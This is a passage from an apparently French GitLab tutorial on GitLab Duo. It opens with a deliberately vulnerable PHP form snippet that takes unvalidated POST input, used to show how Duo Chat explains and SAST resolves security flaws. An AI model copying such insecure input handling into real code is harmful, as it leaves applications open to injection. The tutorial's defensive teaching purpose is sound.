$comments = $_POST['comments'];
echo '<form method="post">';
echo '<label for="name">Name:</label>';
echo '<input type="text" id="name" name="name">';
echo '<label for="email">Email:</label>';
echo '<input type="email" id="email" name="email">';
echo '<label for="comments">Comments:</label>';
echo '<textarea id="comments" name="comments"></textarea>';
echo '<input type="submit" value="Submit">';
echo '</form>';
?>
Sélectionnez-le dans votre IDE, puis demandez à GitLab Duo Chat d'expliquer le problème, en utilisant un prompt affiné tel que /explain why this code is vulnerable to bad security actors
Astuce : les vérifications et l'apprentissage s'effectuent dans l'environnement de développement local, ce qui permet d'identifier et de corriger les vulnérabilités en amont, avant même que le code ne fasse l'objet d'un push et qu'une merge request ne déclenche un scanning de sécurité capable d'identifier et de tracer les failles. Mieux comprendre les failles de sécurité contribue à améliorer l'expérience développeur.
Combiner la résolution des vulnérabilités avec les suggestions de code
Prenons un nouvel exemple avec une vulnérabilité simulée, et voyons si les suggestions de code peuvent nous aider à la corriger efficacement. Le projet associé a été préconfiguré avec un test statique de sécurité des applications (SAST). Vous pouvez suivre ces étapes pour configurer le SAST GitLab à l'aide du composant SAST CI/CD du fichier de configuration CI/CD .gitlab-ci.yml.
include:
# Security: SAST (for vulnerability resolution)
- component: gitlab.com/components/sast/sast@1.1.0
Après avoir examiné le tableau de bord et les détails de la vulnérabilité, vous pouvez utiliser la fonctionnalité d'explication des vulnérabilités pour mieux comprendre le contexte et les risques potentiels. La fonctionnalité de résolution des vulnérabilités, quant à elle, génère une merge request contenant une proposition de correction du code source pour la faille de sécurité détectée.
Parfois, il peut être nécessaire d'affiner le code suggéré. Accédez alors à la MR générée, puis copiez le chemin d'accès de la branche Git pour exécuter la commande git fetch en local, ou ouvrez directement le Web IDE à partir du bouton Edit pour continuer dans le navigateur. Accédez aux sections du code source contenant les correctifs et modifiez-les si besoin en ajoutant un commentaire :
// refactor using safe buffers, null byte termination
Vous pouvez également ouvrir GitLab Duo Chat, sélectionner le code source et utiliser la commande slash /refactor.
Découvrez un exemple complet dans la documentation présentant les cas d'utilisation de GitLab Duo.
Voici un enregistrement de cet exemple :
<!-- blank line -->
<figure class="video_container">
<iframe src="https://www.youtube.com/embed/Ypwx4lFnHP0" frameborder="0" allowfullscreen="true"> </iframe>
</figure>
<!-- blank line -->
Conseils supplémentaires
Vérifier la qualité et la sécurité du code
La génération accrue de code implique davantage d'efforts en matière de qualité, de tests et de sécurité. Profitez de toutes les fonctionnalités qu'offre une plateforme DevSecOps complète :
- Composants CI/CD et efficacité des pipelines
- Qualité du code
- Couverture des tests
- Sécurité applicative
- Observabilité
Apprendre en équipe et comprendre l'impact de l'IA
Organisez des sessions collaboratives ciblées pour tester et itérer et enregistrez-les afin que d'autres équipes puissent s'en inspirer par la suite. Vous pouvez également suivre la playlist GitLab Duo Coffee Chat sur YouTube.
Découvrez les indicateurs d'impact de l'IA dans nos articles, notamment celui intitulé Utiliser l'IA générative dans votre environnement DevSecOps et GitLab Duo : mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact. Consultez notre page dédiée au Centre pour la transparence de l'IA pour en savoir plus sur l'utilisation des données, la transparence et l'éthique de l'IA chez GitLab.
Adopter une vision à long terme du développement
Les suggestions de code peuvent parfois prendre plus de temps à charger que les fonctionnalités d'auto-complétion locales. Mettez à profit ce temps pour réfléchir à l'algorithme ou au problème que vous essayez de résoudre. Prendre un moment de recul permet de faire émerger des idées plus claires. Ou bien profitez-en pour savourer une gorgée de votre boisson préférée, puis reprenez le travail avec un regard neuf.
Certains algorithmes sont particulièrement complexes ou nécessitent des dépendances de code qui ne peuvent pas être résolues par auto-complétion. Le code propriétaire ou confidentiel offre souvent moins de contexte exploitable aux grands modèles de langage. Il peut donc être utile d'enrichir les commentaires pour améliorer la qualité des suggestions de code. Avancez à votre propre rythme et selon votre propre stratégie, et utilisez les suggestions de code là où elles apportent le plus de valeur, notamment pour générer des modèles standards ou des fonctions d'assistance.
Astuce : découvrez Repository X-Ray pour obtenir davantage de contexte sur les suggestions de code et tester des fonctionnalités expérimentales, par exemple, la prise en charge élargie à d'autres langages dans VS Code. Vous trouverez plus d'informations dans l'epic pour dédiée à l'amélioration du taux d'acceptation des suggestions de code.
Comment contribuer à GitLab Duo
Utilisez GitLab Duo pour contribuer à des projets open source en tirant parti des suggestions de code, de la refactorisation du code, de la génération de tests et de la documentation automatisée avec des explications claires sur le fonctionnement du code.
Les clients de GitLab peuvent également co-créer la plateforme GitLab à l'aide de GitLab Duo. Suivez les directives récentes concernant les contributions générées par l'IA et regardez cet exemple issu des sessions GitLab Duo Coffee Chat : Contribuer à GitLab à l'aide des suggestions de code et de GitLab Duo Chat :
<!-- blank line -->
<figure class="video_container">
<iframe src="https://www.youtube.com/embed/TauP7soXj-E" frameborder="0" allowfullscreen="true"> </iframe>
</figure>
<!-- blank line -->
Comment partager vos retours
GitLab Duo optimise les workflows de développement grâce à ses suggestions de code, mais une adoption efficace passe par des exercices concrets : tutoriels, ateliers en équipe et sessions de formation guidée. L'automatisation des workflows, l'amélioration de la qualité du code, l'ajout de scanning de sécurité et la mesure de l'observabilité permettent de relever les défis posés par l'introduction fréquente de nouveau code. Tirer pleinement parti de toutes les fonctionnalités de GitLab Duo, y compris GitLab Duo Chat, renforce considérablement l'expérience développeur sur la plateforme DevSecOps la plus complète alimentée par l'IA.
Pour bien commencer, suivez les bonnes pratiques de ce tutoriel, consultez la documentation de GitLab Duo et sollicitez nos équipes pour organiser des ateliers GitLab Duo dédiés à l'IA (j'ai déjà assisté à des ateliers clients, et je vous les recommande vivement !). N'hésitez pas à partager vos retours sur les suggestions de code dans ce ticket, en incluant des captures d'écran et des vidéos (si possible).
Inscrivez-vous à un essai gratuit de GitLab Duo dès aujourd'hui !
]]>
<center><i>Exemple de cycle de vie d'un écart de conformité</i></center>
